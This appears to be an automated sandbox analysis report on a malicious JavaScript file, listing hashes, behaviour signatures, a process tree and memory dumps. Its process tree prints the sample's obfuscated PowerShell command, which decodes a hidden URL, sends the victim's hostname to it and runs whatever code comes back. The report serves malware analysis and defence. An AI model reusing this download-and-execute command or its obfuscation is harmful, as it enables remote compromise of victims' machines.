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Overview

overview

10

Static

static

1

EFHO0369.js

windows7-x64

10

EFHO0369.js

windows10-2004-x64

10

Analysis

  • max time kernel
    133s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230221-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230221-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/05/2023, 15:49

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General

  • Target

    EFHO0369.js

  • Size

    508KB

  • MD5

    d6a42fe73b1e636b43363b7cfc631bff

  • SHA1

    56e7bdce4206ef3037e835612b3c861e07961a0b

  • SHA256

    62a25a18791e8b6e750a735dcaf990ce01da2c028a0282a3f4132783699dde8d

  • SHA512

    386e154902830d86e3d8b23c11d812df496136a7db13843fb0a6fdbf9aa232bb6866a17fed1b87315e045fc8dc934280269d23ad3f46c20ccd4c08b3fe09a291

  • SSDEEP

    3072:M9aXpR0IWmtlslaLzcebFj0P8d+PO0vMlAaQlx0wkNrRP5hOTMvM6zZBzzLIYuUK:l0+Md

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\EFHO0369.js
    1⤵
      PID:4724
    • C:\Windows\system32\conhost.exe
      conhost --headless powershell @(8160,8172,8172,8168,8114,8103,8103,8157,8170,8159,8172,8173,8102,8172,8167,8168,8103,8170,8172,8102,8168,8160,8168,8119,8161,8117)|foreach{$idxrob=$idxrob+[char]($_-8056)};$xswdmq='l';$tgz=$(hostname);new-alias trys cur$xswdmq;.$([char](7892-7787)+'ex')(trys -useb "$idxrob$tgz")
      1⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1996
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell @(8160,8172,8172,8168,8114,8103,8103,8157,8170,8159,8172,8173,8102,8172,8167,8168,8103,8170,8172,8102,8168,8160,8168,8119,8161,8117)|foreach{$idxrob=$idxrob+[char]($_-8056)};$xswdmq='l';$tgz=$(hostname);new-alias trys cur$xswdmq;.$([char](7892-7787)+'ex')(trys -useb $idxrob$tgz)
        2⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:5056
        • C:\Windows\system32\HOSTNAME.EXE
          "C:\Windows\system32\HOSTNAME.EXE"
          3⤵
            PID:4200

      Network

      MITRE ATT&CK Matrix

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_la0zpi2w.00k.ps1
        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        Download Submit

      • memory/5056-134-0x00000250603A0000-0x00000250603C2000-memory.dmp

        Filesize

        136KB

        Download

      • memory/5056-143-0x000002505EA70000-0x000002505EA80000-memory.dmp

        Filesize

        64KB

        Download

      • memory/5056-144-0x000002505EA70000-0x000002505EA80000-memory.dmp

        Filesize

        64KB

        Download

      • memory/5056-145-0x000002505EA70000-0x000002505EA80000-memory.dmp

        Filesize

        64KB

        Download

      • memory/5056-146-0x000002505EA70000-0x000002505EA80000-memory.dmp

        Filesize

        64KB

        Download

      • memory/5056-147-0x000002505EA70000-0x000002505EA80000-memory.dmp

        Filesize

        64KB

        Download

      • memory/5056-148-0x000002505EA70000-0x000002505EA80000-memory.dmp

        Filesize

        64KB

        Download